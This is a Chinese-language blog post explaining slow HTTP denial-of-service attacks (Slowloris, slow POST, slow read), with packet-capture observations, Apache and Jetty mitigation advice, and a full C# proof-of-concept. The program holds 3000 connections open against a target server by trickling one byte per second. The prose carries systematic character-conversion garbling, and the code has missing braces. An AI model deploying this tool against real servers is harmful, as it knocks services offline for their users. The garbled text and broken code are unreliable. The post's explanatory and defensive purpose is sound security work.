天天看點

http get post 慢速攻擊

提起攻擊,第一反應就是海量的流量、海量的封包。但有一種攻擊卻反其道而行之,以慢著稱,以至于有些攻擊目标被打死了都不知道是怎麼死的,這就是慢速連接配接攻擊。

總而言之,該工具的原理就是設法讓伺服器等待,當伺服器在保持連接配接等待時,就消耗了資源。

1、 最具代表性的是rsnake發明的Slowloris,又被稱為slow headers。

【攻擊原理】

HTTP協定規定,HTTP Request以\r\n\r\n(0d0a0d0a)結尾表示用戶端發送結束,服務端開始處理。那麼,如果永遠不發送\r\n\r\n會如何?Slowloris就是利用這一點來做DDoS攻擊的。攻擊者在HTTP請求頭中将Connection設定為Keep-Alive,要求Web Server保持TCP連接配接不要斷開,随後緩慢地每隔幾分鐘發送一個key-value格式的資料到服務端,如a:b\r\n,導緻服務端認為HTTP頭部沒有接收完成而一直等待。如果攻擊者使用多線程或者傀儡機來做同樣的操作,伺服器的Web容器很快就被攻擊者占滿了TCP連接配接而不再接受新的請求。

【工具示範】

http get post 慢速攻擊

用Wireshark抓包檢視http請求頭中有随機的key-value鍵值對,如下圖紅圈所示,且http請求頭結尾不完整,是“0d 0a”

http get post 慢速攻擊

如果是正常的http請求頭,結尾是“0d0a 0d 0a”,正常結束用戶端請求 如下圖所示

http get post 慢速攻擊

2、Slowloris的變種--Slow HTTP POST,也稱為Slow body。 

在POST送出方式中,允許在HTTP的頭中聲明content-length,也就是POST内容的長度。

在送出了頭以後,将後面的body部分卡住不發送,這時伺服器在接受了POST長度以後,就會等待用戶端發送POST的内容,攻擊者保持連接配接并且以10S-100S一個位元組的速度去發送,就達到了消耗資源的效果,是以不斷地增加這樣的連結,就會使得伺服器的資源被消耗,最後可能當機。

    【工具示範】 

http get post 慢速攻擊

用Wireshark抓包可以看到,header結尾是正常的“0d 0a 0d 0a”,但Content-Length字段設定為一個很大的值8192,同時不在一個包中發送完整post資料而是每間隔100秒發送随機的key-value鍵值對。

http get post 慢速攻擊

3、Slow Read attack

采用調整TCP協定中的滑動視窗大小,來對伺服器單次發送的資料大小進行控制,使得伺服器需要對一個回應分成很多個包來發送。要使這種攻擊效果更加明顯,請求的資源要盡量大。

http get post 慢速攻擊

 用Wireshark抓包可以看出,當請求a.wmv資源(大小有9M多)時,用戶端windowssize被刻意設定為1152位元組。用戶端緩沖區在被來自伺服器的資料填滿後,發出了[TCP ZeroWindow]告警,迫使服務端等待。

http get post 慢速攻擊
http get post 慢速攻擊

受到以上各種慢速攻擊後,伺服器再無法通路

HTTP Post慢速DOS攻擊第一次在技術社群被正式披露是今年的OWASP大會上,由Wong Onn Chee 和 Tom Brennan共同示範了使用這一技術攻擊的威力。他們的slides在這裡:

<a target="_blank" href="http://www.darkreading.com/galleries/security/application-security/228400167/slide-show-ddos-with-the-slow-http-post-attack.html">http://www.darkreading.com/galleries/security/application-security/228400167/slide-show-ddos-with-the-slow-http-post-attack.html</a>

這個攻擊的基本原理如下:

針對任意HTTP Server,建立一個連接配接,指定一個比較大的content-length,然後以很低的速度發包,比如10-100s發一個位元組,hold住這個連接配接不斷開。如果用戶端持續建立這樣的連接配接,那麼伺服器上可用的連接配接将很快被占滿,進而導緻DOS.

這一攻擊引起我注意的原因有這幾點:

1. 它可以針對任意Web服務。HTTP協定在接收到request之前是無法對請求内容作校驗的,是以即使你的Web應用沒有可用form表單,這個攻擊一樣有效。

2. 廉價。在用戶端以單線程方式建立較大數量的無用連接配接,并保持持續發包的代價非常低廉。實際試驗中一台普通PC可以建立的Socket連接配接在3000個以上。這對一台普通的web server,将是緻命的打擊。更不用說結合殭屍電腦群做分布式DOS了。

為示範這個攻擊,我做了一個簡單的POC,C#代碼如下。

using System;  

using System.Collections.Generic;  

using System.Text;  

using System.Net.Sockets;  

using System.Threading;  

namespace HTTPPostDoS  

{  

    class TestDemo  

    {  

        static void Main(string[] args)  

        {  

            string host = "target";  

            int port = 8080;  

            int max_number_of_connection = 3000;  

            List&lt;TcpClient&gt; clients = new List&lt;TcpClient&gt;();  

            for (int i = 0; i &lt; max_number_of_connection; i++)  

            {  

                TcpClient client = new TcpClient();  

                clients.Add(client);  

                client.Connect(host, port);  

                if (client.Connected)  

                {  

                    string header = "POST /a HTTP/1.1\r\n" +  

                                    "HOST: " + host + "\r\n" +  

                                    "Connection: keep-alive\r\n" +  

                                    "Keep-Alive: 900\r\n" +  

                                    "Content-Length: 100000000\r\n" +  

                                    "Content_Type: application/x-www-form-urlencoded\r\n" +  

                                    "Accept: *.*\r\n";  

                    int sent = client.Client.Send(System.Text.Encoding.Default.GetBytes(header));  

                    if (sent &lt;= 0)  

                    {  

                        Console.WriteLine("Error while connecting to server");  

                    }  

                    else  

                        Console.WriteLine("Connected");  

                }  

            }  

            while (true)  

                int i = 0;  

                foreach (TcpClient client in clients)  

                    i++;  

                    client.Client.Send(System.Text.Encoding.Default.GetBytes("a"));  

                    Console.WriteLine("Client " + i + " just sent a byte.");  

                Thread.Sleep(1000);  

        }  

    }  

}  

這段代碼向目标伺服器的示例Web Server發起攻擊,每秒鐘向伺服器post一個位元組以保證連接配接不會過期。

但是針對IIS的攻擊被證明沒有效果,同時我還測試了公司使用最多的Jetty,有了更多有意思的發現。

在針對Jetty做測試時,我發現針對不同的Jetty Connector配置,攻擊的效果有天壤之别。

我們知道Jetty在配置Connector時,可以有NIO和BIO兩種模式供選擇。當使用BIO模式時,Jetty的max thread被瞬間耗盡,服務停止。但是在使用NIO模式時,即使用戶端的惡意socket連接配接數已經達到3000個,但是服務依然沒有受到任何影響。這個應該很好了解,由于這兩種模式下的Connector直接影響到服務端處理Socket的模型。IIS的情況我不是很清楚,但是猜測MS在實作時采用了NIO Socket模型。

其它的Web Server,我沒有做進一步測試。如有興趣請自行驗證。

目前針對Apache伺服器,官方尚沒有解決方案出台。建議:

1. 檢查日志,查找類似的錯誤報警:

[error] server reached MaxClients setting, consider raising the MaxClients setting

看看有沒有被這種攻擊盯上。

2. 調整防火牆設定。有條件的,在IPS上做一下規則設定。

注意這些都還隻是暫時措施,因為這種攻擊的變化可能很多,事實上使用HTTP GET也可以達到一樣的效果。要知道GET也是可以傳輸資料的。

針對Jetty伺服器,強烈建議使用NIO非阻塞模式,對伺服器可以起到很好的保護作用。

相關閱讀:

補充1:我的同僚,Active安全經理Eric Zhong和應用安全工程師Vian Ma對此文有貢獻,謹此緻謝